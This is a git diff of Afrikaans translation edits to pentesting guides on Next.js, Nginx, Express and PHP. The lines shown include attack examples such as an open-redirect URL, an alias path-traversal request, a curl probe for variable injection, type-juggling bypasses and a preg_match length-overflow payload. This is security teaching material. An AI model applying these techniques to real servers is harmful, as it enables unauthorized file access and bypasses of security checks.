invoer toe, wat pad traversering moontlik maak. +- **Gebrek aan Invoer Validasie**: Die kliëntkant laat arbitrêre `filePath` invoer toe, wat pad traversering moontlik maak. - **Vertroue op Kliënt Invoere**: Die bediener-kant API vertrou en verwerk die `filePath` sonder sanitasie. -- **Potensiële API Aksies**: As die API eindpunt staat-veranderende aksies uitvoer (bv. verwyder, wysig lêers), kan dit via CSPT geëksploiteer word. +- **Potensiële API Aksies**: As die API-eindpunt staat-veranderende aksies uitvoer (bv. verwyder, wysig lêers), kan dit via CSPT geëksploiteer word.
@@ -396,7 +396,7 @@ Bladsye word op die bediener op elke versoek gerender, wat verseker dat die gebr **Gebruik Gevalle:** - Dinamiese inhoud wat gereeld verander. -- SEO optimalisering, aangesien soekenjins die volledig gerenderde bladsy kan deursoek. +- SEO-optimalisering, aangesien soekenjins die volledig gerenderde bladsy kan deursoek. **Implementasie:** ```jsx @@ -415,7 +415,7 @@ export default HomePage ``` ### Statiese Webwerf Generasie (SSG) -Bladsye word vooraf gerender tydens bou, wat vinniger laai tye en verminderde bedienerlas tot gevolg het. +Bladsye word vooraf gerender tydens bou, wat lei tot vinniger laai tye en verminderde bedienerlas. **Gebruik Gevalle:** @@ -533,7 +533,7 @@ headers: { "Content-Type": "application/json" }, - **Meervoudige Eksport:** Elke HTTP-metode (`GET`, `PUT`, `DELETE`) het sy eie geëksporteerde funksie. - **Parameters:** Die tweede argument bied toegang tot roeteparameters via `params`. -- **Verbeterde Antwoorde:** Groter beheer oor antwoordobjekte, wat presiese koptekst- en statuskodebestuur moontlik maak. +- **Verbeterde Antwoorde:** Groter beheer oor antwoordobjekte, wat presiese kop en statuskode bestuur moontlik maak. @@ -541,7 +541,7 @@ headers: { "Content-Type": "application/json" }, Catch-All en Geneste Roetes -Next.js 13+ ondersteun gevorderde routeringskenmerke soos catch-all roetes en geneste API-roetes, wat meer dinamiese en skaalbare API-strukture moontlik maak. +Next.js 13+ ondersteun gevorderde roeteringskenmerke soos catch-all roetes en geneste API-roetes, wat meer dinamiese en skaalbare API-strukture moontlik maak. **Catch-All Roete Voorbeeld:** ```javascript @@ -590,7 +590,7 @@ headers: { "Content-Type": "application/json" }, ## API-roetes in die `pages` Gids (Next.js 12 en vroeër) -Voordat Next.js 13 die `app` gids bekendgestel het en roeteringsvermoëns verbeter het, is API-roetes hoofsaaklik binne die `pages` gids gedefinieer. Hierdie benadering word steeds wyd gebruik en ondersteun in Next.js 12 en vroeër weergawes. +Voordat Next.js 13 die `app` gids en verbeterde roeteringsvermoëns bekendgestel het, is API-roetes hoofsaaklik binne die `pages` gids gedefinieer. Hierdie benadering word steeds wyd gebruik en ondersteun in Next.js 12 en vroeër weergawes. #### Basiese API-roete @@ -613,12 +613,12 @@ res.status(200).json({ message: 'Hello, World!' }); ``` **Verklaring:** -- **Ligging:** API roetes woon onder die `pages/api/` gids. +- **Ligging:** API-roetes woon onder die `pages/api/` gids. - **Eksport:** Gebruik `export default` om die hanteringsfunksie te definieer. - **Funksie Handtekening:** Die hanterer ontvang `req` (HTTP versoek) en `res` (HTTP antwoord) voorwerpe. - **Routering:** Die lêernaam (`hello.js`) kaart na die eindpunt `/api/hello`. -#### Dinamiese API Roetes +#### Dinamiese API-roetes **Lêerstruktuur:** ```bash @@ -695,7 +695,7 @@ res.status(405).end(`Method ${method} Not Allowed`); - **Afsondering van Belange:** Skei duidelik die logika vir verskillende HTTP-metodes. - **Antwoord Konsistensie:** Verseker konsekwente antwoordstrukture vir maklike kliënt-kant hantering. -- **Fout Hantering:** Hanteer onondersteunde metodes en onverwagte foute met genade. +- **Fout Hantering:** Hanteer onondersteunde metodes en onverwagte foute met grasie. @@ -717,7 +717,7 @@ headers: { }) } ``` -Let wel dat **CORS ook in al die API-roetes gekonfigureer kan word** binne die **`middleware.ts`** lêer: +Let daarop dat **CORS ook in al die API-roetes gekonfigureer kan word** binne die **`middleware.ts`** lêer: ```javascript // app/middleware.ts @@ -777,7 +777,7 @@ Aanvallers kan kwaadwillige webwerwe skep wat versoeke na jou API maak, wat pote ### Bedienerkode blootstelling in Kliëntkant -Dit kan maklik wees om **kode wat deur die bediener gebruik word ook in kode blootgestel en deur die kliëntkant gebruik te word**, die beste manier om te verseker dat 'n lêer van kode nooit in die kliëntkant blootgestel word nie, is deur hierdie invoer aan die begin van die lêer te gebruik: +Dit kan maklik wees om **kode wat deur die bediener gebruik word ook in kode blootgestel en deur die kliëntkant gebruik te word**, die beste manier om te verseker dat 'n lêer van kode nooit in die kliëntkant blootgestel word nie, is om hierdie invoer aan die begin van die lêer te gebruik: ```js import "server-only" ``` @@ -899,11 +899,11 @@ domains: ["*"], // Allows images from any domain **Probleem:** - **`'*'`:** Laat toe dat beelde van enige eksterne bron gelaai word, insluitend onbetroubare of kwaadwillige domeine. Aanvallers kan beelde huisves wat kwaadwillige payloads of inhoud bevat wat gebruikers mislei. -- 'n Ander probleem mag wees om 'n domein toe te laat **waar enigiemand 'n beeld kan oplaai** (soos `raw.githubusercontent.com`) +- 'n Ander probleem mag wees om 'n domein toe te laat **waar enige iemand 'n beeld kan oplaai** (soos `raw.githubusercontent.com`) **Hoe aanvallers dit misbruik:** -Deur beelde van kwaadwillige bronne in te spuit, kan aanvallers phishing-aanvalle uitvoer, misleidende inligting vertoon, of kwesbaarhede in beeldrendering biblioteke benut. +Deur beelde van kwaadwillige bronne in te spuit, kan aanvallers phishing-aanvalle uitvoer, misleidende inligting vertoon, of kwesbaarhede in beeld-rendering biblioteke benut. @@ -932,17 +932,17 @@ NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for **Hoe aanvallers dit misbruik:** -As sensitiewe veranderlikes aan die kliënt blootgestel word, kan aanvallers dit herwin deur die kliëntkant kode of netwerk versoeke te ondersoek, wat ongeoorloofde toegang tot API's, databasisse of ander dienste moontlik maak. +As sensitiewe veranderlikes aan die kliënt blootgestel word, kan aanvallers dit verkry deur die kliëntkant kode of netwerk versoeke te inspekteer, wat ongeoorloofde toegang tot API's, databasisse of ander dienste moontlik maak.
-Herleidings +Herleiings -Bestuur URL-herleidings en herskrywings binne jou toepassing, en verseker dat gebruikers toepaslik gelei word sonder om oop herleidings kwesbaarhede in te voer. +Bestuur URL-herleiings en herskrywings binne jou toepassing, en verseker dat gebruikers toepaslik gelei word sonder om oop herleiingskwesbaarhede in te voer. -#### a. Oop Herleiding Kwesbaarheid +#### a. Oop Herleiingskwesbaarheid **Slegte Konfigurasie Voorbeeld:** ```javascript @@ -962,12 +962,12 @@ permanent: false, ``` **Probleem:** -- **Dinamiese Bestemming:** Laat gebruikers toe om enige URL aan te dui, wat oop herleiding aanvalle moontlik maak. -- **Vertroue op Gebruikersinvoer:** Herleidings na URL's wat deur gebruikers verskaf word sonder validasie kan lei tot phishing, malware verspreiding, of geloofsbriefdiefstal. +- **Dinamiese Bestemming:** Laat gebruikers enige URL spesifiseer, wat oop herleiding aanvalle moontlik maak. +- **Vertroue op Gebruiker Invoer:** Herlei na URL's wat deur gebruikers verskaf word sonder validasie kan lei tot phishing, malware verspreiding, of geloofsbriefdiefstal. **Hoe aanvallers dit misbruik:** -Aanvallers kan URL's skep wat lyk asof dit van jou domein afkomstig is, maar gebruikers na kwaadwillige webwerwe herlei. Byvoorbeeld: +Aanvallers kan URL's saamstel wat lyk asof dit van jou domein afkomstig is, maar gebruikers na kwaadwillige webwerwe herlei. Byvoorbeeld: ```bash https://yourdomain.com/redirect?url=https://malicious-site.com ``` @@ -998,7 +998,7 @@ return config ``` **Probleem:** -- **Blootstelling van Sensitiewe Paaie:** Aliasing sensitiewe gidse en toelaat dat kliënt-kant toegang kan vertraag vertroulike inligting. +- **Blootstelling van Sensitiewe Paaie:** Aliasing van sensitiewe gidse en toelaat dat kliënt-kant toegang kan vertraag vertroulike inligting. - **Bundeling van Geheime:** As sensitiewe lêers gebundel word vir die kliënt, word hul inhoud toeganklik deur bronkaarte of deur die kliënt-kant kode te ondersoek. **Hoe aanvallers dit misbruik:** @@ -1015,9 +1015,9 @@ Aanvallers kan toegang verkry tot of die aansoek se gidsstruktuur herbou, wat mo **Gebruiksg gevalle:** -- Injektering van globale CSS. -- Byvoeging van uitleg wrappers. -- Integrasie van toestandbestuur biblioteke. +- Inspuit van globale CSS. +- Voeg uitleg wrappers by. +- Integreer toestandbestuur biblioteke. **Voorbeeld:** ```jsx @@ -1032,13 +1032,13 @@ export default MyApp ``` #### **`pages/_document.js`** -**Doel:** Oorskry die standaard Dokument, wat aanpassing van die HTML en Body tags moontlik maak. +**Doel:** Oorskry die standaard Dokument, wat aanpassing van die HTML en Body-tags moontlik maak. **Gebruiksg gevalle:** - Wysig die `` of `` tags. -- Voeg meta tags of pasgemaakte skripte by. -- Integreer derdeparty skrifte. +- Voeg meta-tags of pasgemaakte skripte by. +- Integreer derdeparty-fonts. **Voorbeeld:** ```jsx @@ -1063,7 +1063,7 @@ export default MyDocument ``` ### Aangepaste Bediener (Opsioneel) -**Doel:** Terwyl Next.js met 'n ingeboude bediener kom, kan jy 'n aangepaste bediener skep vir gevorderde gebruiksgevalle soos aangepaste routering of integrasie met bestaande agtergronddienste. +**Doel:** Terwyl Next.js met 'n ingeboude bediener kom, kan jy 'n aangepaste bediener skep vir gevorderde gebruiksgevalle soos aangepaste roetering of integrasie met bestaande agtergronddienste. **Nota:** Die gebruik van 'n aangepaste bediener kan ontplooiingsopsies beperk, veral op platforms soos Vercel wat optimaliseer vir Next.js se ingeboude bediener. @@ -1108,7 +1108,7 @@ console.log("> Ready on http://localhost:3000") - **Gebruik `.env` Lêers:** Stoor veranderlikes soos API sleutels in `.env.local` (uitgesluit van weergawebeheer). - **Toegang tot Veranderlikes Veilig:** Gebruik `process.env.VARIABLE_NAME` om toegang te verkry tot omgewing veranderlikes. -- **Nooit Geheime op die Kliënt Blootstel:** Verseker dat sensitiewe veranderlikes slegs aan die bedienerkant gebruik word. +- **Moet Nooit Geheime op die Kliënt Uitsit nie:** Verseker dat sensitiewe veranderlikes slegs aan die bedienerkant gebruik word. **Voorbeeld:** ```javascript @@ -1133,7 +1133,7 @@ SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client **Sekuriteitspraktyke:** - **Veilige Koekies:** Stel `HttpOnly`, `Secure`, en `SameSite` eienskappe in. -- **Wagwoord Hashing:** Hash altyd wagwoorde voordat jy dit stoor. +- **Wagwoord Hashing:** Hash altyd wagwoorde voordat jy hulle stoor. - **Invoer Validasie:** Voorkom inspuitaanvalle deur invoere te valideer en te saniteer. **Voorbeeld:** @@ -1170,7 +1170,7 @@ res.status(401).json({ error: "Invalid credentials" }) **Strategies:** - **Beeldoptimalisering:** Gebruik Next.js se `next/image` komponent vir outomatiese beeldoptimalisering. -- **Kode-splitting:** Maak gebruik van dinamiese invoer om kode te verdeel en aanvanklike laaitye te verminder. +- **Kode-splitting:** Maak gebruik van dinamiese invoer om kode te split en aanvanklike laaitye te verminder. - **Caching:** Implementeer caching-strategieë vir API-antwoorde en statiese bates. - **Lazy Loading:** Laai komponente of bates slegs wanneer hulle nodig is. diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index 403705048..40233196f 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -16,19 +16,19 @@ proxy_pass http://127.0.0.1:8080/; } } ``` -In hierdie konfigurasie is `/etc/nginx` as die wortelgids aangewys. Hierdie opstelling laat toegang tot lêers binne die gespesifiseerde wortelgids toe, soos `/hello.txt`. Dit is egter belangrik om te noem dat slegs 'n spesifieke ligging (`/hello.txt`) gedefinieer is. Daar is geen konfigurasie vir die wortelligging nie (`location / {...}`). Hierdie omissie beteken dat die wortelriglyn globaal van toepassing is, wat versoeke na die wortelpad `/` toelaat om lêers onder `/etc/nginx` te benader. +In hierdie konfigurasie is `/etc/nginx` aangewys as die wortelgids. Hierdie opstelling laat toegang toe tot lêers binne die gespesifiseerde wortelgids, soos `/hello.txt`. Dit is egter belangrik om te noem dat slegs 'n spesifieke ligging (`/hello.txt`) gedefinieer is. Daar is geen konfigurasie vir die wortelligging nie (`location / {...}`). Hierdie omissie beteken dat die wortelriglyn globaal van toepassing is, wat versoeke na die wortelpad `/` in staat stel om lêers onder `/etc/nginx` te benader. -'n Kritieke sekuriteitsoorweging ontstaan uit hierdie konfigurasie. 'n Eenvoudige `GET` versoek, soos `GET /nginx.conf`, kan sensitiewe inligting blootstel deur die Nginx-konfigurasielêer wat by `/etc/nginx/nginx.conf` geleë is, te bedien. Om die wortel na 'n minder sensitiewe gids, soos `/etc`, in te stel, kan hierdie risiko verminder, maar dit mag steeds onbedoelde toegang tot ander kritieke lêers, insluitend ander konfigurasielêers, toeganglogs en selfs versleutelde akrediteerings wat vir HTTP basiese outentisering gebruik word, toelaat. +'n Kritieke sekuriteitsoorweging ontstaan uit hierdie konfigurasie. 'n Eenvoudige `GET` versoek, soos `GET /nginx.conf`, kan sensitiewe inligting blootstel deur die Nginx konfigurasielêer wat geleë is by `/etc/nginx/nginx.conf` te bedien. Om die wortel na 'n minder sensitiewe gids, soos `/etc`, in te stel, kan hierdie risiko verminder, maar dit mag steeds onbedoelde toegang tot ander kritieke lêers, insluitend ander konfigurasielêers, toeganglogs en selfs versleutelde akrediteerings wat vir HTTP basiese outentisering gebruik word, toelaat. -## Alias LFI Misconfiguration +## Alias LFI Misconfigurasie -In die konfigurasielêers van Nginx is 'n noukeurige inspeksie van die "location" riglyne nodig. 'n Kwessie bekend as Local File Inclusion (LFI) kan per ongeluk ingevoer word deur 'n konfigurasie wat soos die volgende lyk: +In die konfigurasielêers van Nginx is 'n noukeurige inspeksie van die "location" riglyne nodig. 'n Kwessie bekend as Local File Inclusion (LFI) kan per ongeluk bekendgestel word deur 'n konfigurasie wat soos die volgende lyk: ``` location /imgs { alias /path/images/; } ``` -Hierdie konfigurasie is geneig tot LFI-aanvalle weens die bediener wat versoeke soos `/imgs../flag.txt` interpreteer as 'n poging om lêers buite die bedoelde gids te bekom, wat effektief oplos na `/path/images/../flag.txt`. Hierdie fout laat aanvallers toe om lêers van die bediener se lêerstelsel te verkry wat nie via die web toeganklik behoort te wees nie. +Hierdie konfigurasie is geneig tot LFI-aanvalle weens die bediener wat versoeke soos `/imgs../flag.txt` interpreteer as 'n poging om lêers buite die bedoelde gids te benader, wat effektief oplos na `/path/images/../flag.txt`. Hierdie fout laat aanvallers toe om lêers van die bediener se lêerstelsel te verkry wat nie via die web toeganklik behoort te wees nie. Om hierdie kwesbaarheid te verminder, moet die konfigurasie aangepas word na: ``` @@ -71,7 +71,7 @@ deny all; > > `location ~ /docs/([^/])? { … $1 … }` - Kwetsbaar > -> `location ~ /docs/([^/\s])? { … $1 … }` - Nie kwesbaar nie (kontroleer spaties) +> `location ~ /docs/([^/\s])? { … $1 … }` - Nie kwesbaar nie (spasies word nagegaan) > > `location ~ /docs/(.*)? { … $1 … }` - Nie kwesbaar nie @@ -98,7 +98,7 @@ Ook hierdie tegniek is [**verduidelik in hierdie praatjie**](https://www.youtube - `https://example.com/%20X` - Enige HTTP-kode - `https://example.com/%20H` - 400 Bad Request -As kwesbaar, sal die eerste terugkeer as "X" is enige HTTP-metode en die tweede sal 'n fout teruggee aangesien H nie 'n geldige metode is nie. So die bediener sal iets soos ontvang: `GET / H HTTP/1.1` en dit sal die fout aktiveer. +As dit kwesbaar is, sal die eerste terugkeer as "X" is enige HTTP-metode en die tweede sal 'n fout teruggee aangesien H nie 'n geldige metode is nie. So die bediener sal iets soos ontvang: `GET / H HTTP/1.1` en dit sal die fout aktiveer. Nog 'n opsporingsvoorbeeld sou wees: @@ -107,7 +107,7 @@ Nog 'n opsporingsvoorbeeld sou wees: Sommige gevonde kwesbare konfigurasies wat in daardie praatjie aangebied is, was: -- Let op hoe **`$uri`** soos dit is in die finale URL gestel is. +- Let op hoe **`$uri`** soos dit in die finale URL gestel is ``` location ^~ /lite/api/ { proxy_pass http://lite-backend$uri$is_args$args; @@ -127,19 +127,19 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri; ``` ### Enige veranderlike -Daar is ontdek dat **gebruikersgeleverde data** as 'n **Nginx veranderlike** beskou kan word onder sekere omstandighede. Die oorsaak van hierdie gedrag bly ietwat ontwykend, maar dit is nie ongewoon of eenvoudig om te verifieer nie. Hierdie anomalie is in 'n sekuriteitsverslag op HackerOne beklemtoon, wat hier [beskou](https://hackerone.com/reports/370094) kan word. Verdere ondersoek na die foutboodskap het gelei tot die identifikasie van sy voorkoms binne die [SSI-filtermodule van Nginx se kodebasis](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wat Server Side Includes (SSI) as die worteloorsaak aandui. +Daar is ontdek dat **gebruikersgeleverde data** as 'n **Nginx veranderlike** onder sekere omstandighede behandel kan word. Die oorsaak van hierdie gedrag bly ietwat ontwykend, maar dit is nie ongewoon of eenvoudig om te verifieer nie. Hierdie anomalie is in 'n sekuriteitsverslag op HackerOne beklemtoon, wat [hier](https://hackerone.com/reports/370094) beskou kan word. Verdere ondersoek na die foutboodskap het gelei tot die identifisering van sy voorkoms binne die [SSI filtermodule van Nginx se kodebasis](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wat Server Side Includes (SSI) as die oorsaak identifiseer. Om **hierdie miskonfigurasie te ontdek**, kan die volgende opdrag uitgevoer word, wat behels om 'n referer-kop te stel om vir veranderlike druk te toets: ```bash $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` -Scans vir hierdie miskonfigurasie oor stelsels het verskeie gevalle onthul waar Nginx veranderlikes deur 'n gebruiker gedruk kon word. 'n Afname in die aantal kwesbare gevalle dui egter daarop dat pogings om hierdie probleem reg te stel, tot 'n mate suksesvol was. +Skanderings vir hierdie miskonfigurasie oor stelsels het verskeie gevalle onthul waar Nginx veranderlikes deur 'n gebruiker gedruk kon word. egter, 'n afname in die aantal kwesbare gevalle dui daarop dat pogings om hierdie probleem reg te stel, tot 'n mate suksesvol was. -## Rau backend respons lees +## Rau agtergrondrespons lees -Nginx bied 'n kenmerk deur `proxy_pass` wat die onderskepping van foute en HTTP koptekste wat deur die backend geproduseer word, toelaat, met die doel om interne foutboodskappe en koptekste te verberg. Dit word bereik deur Nginx wat pasgemaakte foutbladsye dien in reaksie op backend foute. egter, uitdagings ontstaan wanneer Nginx 'n ongeldige HTTP versoek teëkom. So 'n versoek word na die backend gestuur soos ontvang, en die backend se rau respons word dan direk aan die kliënt gestuur sonder Nginx se tussenkoms. +Nginx bied 'n kenmerk deur `proxy_pass` wat die onderskepping van foute en HTTP-koppe wat deur die agtergrond geproduseer word, moontlik maak, met die doel om interne foutboodskappe en koppe te verberg. Dit word bereik deur Nginx wat pasgemaakte foutbladsye dien in reaksie op agtergrondfoute. egter, uitdagings ontstaan wanneer Nginx 'n ongeldige HTTP-versoek teëkom. So 'n versoek word na die agtergrond gestuur soos ontvang, en die agtergrond se rauwe respons word dan direk aan die kliënt gestuur sonder Nginx se tussenkoms. -Oorweeg 'n voorbeeldscenario wat 'n uWSGI toepassing betrek: +Oorweeg 'n voorbeeldscenario wat 'n uWSGI-toepassing betrek: ```python def application(environ, start_response): start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')]) @@ -156,11 +156,11 @@ proxy_hide_header Secret-Header; - [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): Hierdie riglyn stel Nginx in staat om 'n pasgemaakte antwoord te dien vir agtergrond-antwoorde met 'n statuskode groter as 300. Dit verseker dat, vir ons voorbeeld uWSGI-toepassing, 'n `500 Error` antwoord onderskep en hanteer word deur Nginx. - [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): Soos die naam aandui, verberg hierdie riglyn gespesifiseerde HTTP-koptekste van die kliënt, wat privaatheid en sekuriteit verbeter. -Wanneer 'n geldige `GET` versoek gemaak word, verwerk Nginx dit normaalweg, wat 'n standaard foutantwoord teruggee sonder om enige geheime koptekste te onthul. 'n Ongeldige HTTP-versoek omseil egter hierdie meganisme, wat lei tot die blootstelling van rou agtergrond-antwoorde, insluitend geheime koptekste en foutboodskappe. +Wanneer 'n geldige `GET` versoek gemaak word, verwerk Nginx dit normaalweg, en keer 'n standaard foutantwoord terug sonder om enige geheime koptekste te onthul. 'n Ongeldige HTTP-versoek omseil egter hierdie meganisme, wat lei tot die blootstelling van rou agtergrond-antwoorde, insluitend geheime koptekste en foutboodskappe. ## merge_slashes op af -Standaard is Nginx se **`merge_slashes` riglyn** op **`on`** gestel, wat verskeie voorwaartse skuinsstrepies in 'n URL in 'n enkele skuinsstreep saampers. Hierdie kenmerk, terwyl dit URL-verwerking stroomlyn, kan onbedoeld kwesbaarhede in toepassings agter Nginx verberg, veral dié wat geneig is tot plaaslike lêerinvoeging (LFI) aanvalle. Sekuriteitskenners **Danny Robinson en Rotem Bar** het die potensiële risiko's wat met hierdie standaardgedrag geassosieer word, veral wanneer Nginx as 'n omgekeerde proxy optree, beklemtoon. +Standaard is Nginx se **`merge_slashes` riglyn** op **`on`** gestel, wat verskeie vorentoe-skuinslyne in 'n URL in 'n enkele skuinslyn saampers. Hierdie kenmerk, terwyl dit URL-verwerking stroomlyn, kan onbedoeld kwesbaarhede in toepassings agter Nginx verberg, veral dié wat geneig is tot plaaslike lêerinvoeging (LFI) aanvalle. Sekuriteitskenners **Danny Robinson en Rotem Bar** het die potensiële risiko's wat met hierdie standaardgedrag geassosieer word, veral wanneer Nginx as 'n omgekeerde proxy optree, beklemtoon. Om sulke risiko's te verminder, word dit aanbeveel om die **`merge_slashes` riglyn af te skakel** vir toepassings wat vatbaar is vir hierdie kwesbaarhede. Dit verseker dat Nginx versoeke aan die toepassing deurgee sonder om die URL-struktuur te verander, en dus nie enige onderliggende sekuriteitskwessies te verberg nie. @@ -170,7 +170,7 @@ Vir meer inligting, kyk na [Danny Robinson en Rotem Bar](https://medium.com/apps Soos getoon in [**hierdie skrywe**](https://mizu.re/post/cors-playground), is daar sekere koptekste wat, indien teenwoordig in die antwoord van die webbediener, die gedrag van die Nginx-proxy sal verander. Jy kan hulle [**in die dokumentasie**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/) nagaan: -- `X-Accel-Redirect`: Dui aan Nginx om 'n versoek intern na 'n gespesifiseerde ligging te herlei. +- `X-Accel-Redirect`: Gee aan Nginx om 'n versoek intern na 'n gespesifiseerde ligging te herlei. - `X-Accel-Buffering`: Beheer of Nginx die antwoord moet buffere of nie. - `X-Accel-Charset`: Stel die karakterstel vir die antwoord in wanneer X-Accel-Redirect gebruik word. - `X-Accel-Expires`: Stel die vervaldatum vir die antwoord in wanneer X-Accel-Redirect gebruik word. @@ -180,7 +180,7 @@ Byvoorbeeld, die koptekst **`X-Accel-Redirect`** sal 'n interne **herleiding** i ### **Standaardwaarde in Map Riglyn** -In die **Nginx-konfigurasie** speel die `map` riglyn dikwels 'n rol in **autoriseringbeheer**. 'n Algemene fout is om nie 'n **standaard** waarde te spesifiseer nie, wat kan lei tot ongeoorloofde toegang. Byvoorbeeld: +In die **Nginx-konfigurasie** speel die `map` riglyn dikwels 'n rol in **autoriseringbeheer**. 'n Algemene fout is om nie 'n **standaard** waarde te spesifiseer nie, wat tot ongeoorloofde toegang kan lei. Byvoorbeeld: ```yaml http { map $uri $mappocallow { @@ -239,15 +239,15 @@ deny all; } ``` > [!WARNING] -> Let daarop dat selfs al was die `proxy_pass` op 'n spesifieke **pad** soos `http://backend:9999/socket.io` gewys, sal die verbinding gestig word met `http://backend:9999` sodat jy **enige ander pad binne daardie interne eindpunt kan kontak. Dit maak nie saak of 'n pad in die URL van proxy_pass gespesifiseer is nie.** +> Let daarop dat selfs al was die `proxy_pass` op 'n spesifieke **pad** soos `http://backend:9999/socket.io` gewys, sal die verbinding gevestig word met `http://backend:9999`, sodat jy **enige ander pad binne daardie interne eindpunt kan kontak. Dit maak nie saak of 'n pad in die URL van proxy_pass gespesifiseer is nie.** ## Probeer dit self -Detectify het 'n GitHub-repo geskep waar jy Docker kan gebruik om jou eie kwesbare Nginx-toetsbediener op te stel met 'n paar van die miskonfigurasies wat in hierdie artikel bespreek is en probeer om dit self te vind! +Detectify het 'n GitHub-repo geskep waar jy Docker kan gebruik om jou eie kwesbare Nginx-toetsbediener op te stel met sommige van die miskonfigurasies wat in hierdie artikel bespreek is en probeer om dit self te vind! [https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx) -## Statiese Analise gereedskap +## Statiese Analiseer gereedskap ### [GIXY](https://github.com/yandex/gixy) diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md index c5c078808..be0a53a54 100644 --- a/src/network-services-pentesting/pentesting-web/nodejs-express.md +++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md @@ -2,7 +2,7 @@ ## Koekie Handtekening -Die hulpmiddel [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) is 'n nut om die toetsing en herhandtekening van Express.js koekie geheime te outomatiseer. +Die hulpmiddel [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) is 'n nut vir die outomatisering van die toetsing en herhandtekening van Express.js koekie geheime. ### Enkel koekie met 'n spesifieke naam ```bash diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index db04c4d68..e1056b3b6 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -23,7 +23,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ### Los vergelykings/Tipe Juggling ( == ) -As `==` in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie soos verwag optree nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omgeskakel is; as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy `===` gebruik. +As `==` in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie optree soos verwag nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omgeskakel is; as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy `===` gebruik. PHP vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) @@ -31,8 +31,8 @@ PHP vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](h {% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} -- `"string" == 0 -> True` 'n String wat nie met 'n nommer begin nie, is gelyk aan 'n nommer -- `"0xAAAA" == "43690" -> True` Strings wat uit nommers in desimale of hex formaat bestaan, kan met ander nommers/strings vergelyk word met True as resultaat as die nommers dieselfde was (nommers in 'n string word as nommers geïnterpreteer) +- `"string" == 0 -> True` 'n String wat nie met 'n getal begin nie, is gelyk aan 'n getal +- `"0xAAAA" == "43690" -> True` Strings wat uit getalle in desimale of hex formaat bestaan, kan met ander getalle/strings vergelyk word met True as resultaat as die getalle dieselfde was (getalle in 'n string word as getalle geïnterpreteer) - `"0e3264578" == 0 --> True` 'n String wat met "0e" begin en gevolg word deur enigiets, sal gelyk wees aan 0 - `"0X3264578" == 0X --> True` 'n String wat met "0" begin en gevolg word deur enige letter (X kan enige letter wees) en gevolg word deur enigiets, sal gelyk wees aan 0 - `"0e12334" == "0" --> True` Dit is baie interessant omdat jy in sommige gevalle die stringinvoer van "0" en 'n inhoud wat gehas is en daarmee vergelyk word, kan beheer. Daarom, as jy 'n waarde kan verskaf wat 'n hash kan skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking omseil. Jy kan **reeds gehasde strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) @@ -97,7 +97,7 @@ Vind 'n voorbeeld hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://r #### **Lengte fout omseiling** (Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie op PHP 7.3.15 laat werk nie)\ -As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk nie** en jy sal in staat wees om die kontrole te **omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur: +As jy 'n geldige baie **groot invoer** na `preg_match()` kan stuur, **sal dit nie in staat wees om dit te verwerk** nie en jy sal in staat wees om die kontrole te **omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -109,17 +109,17 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
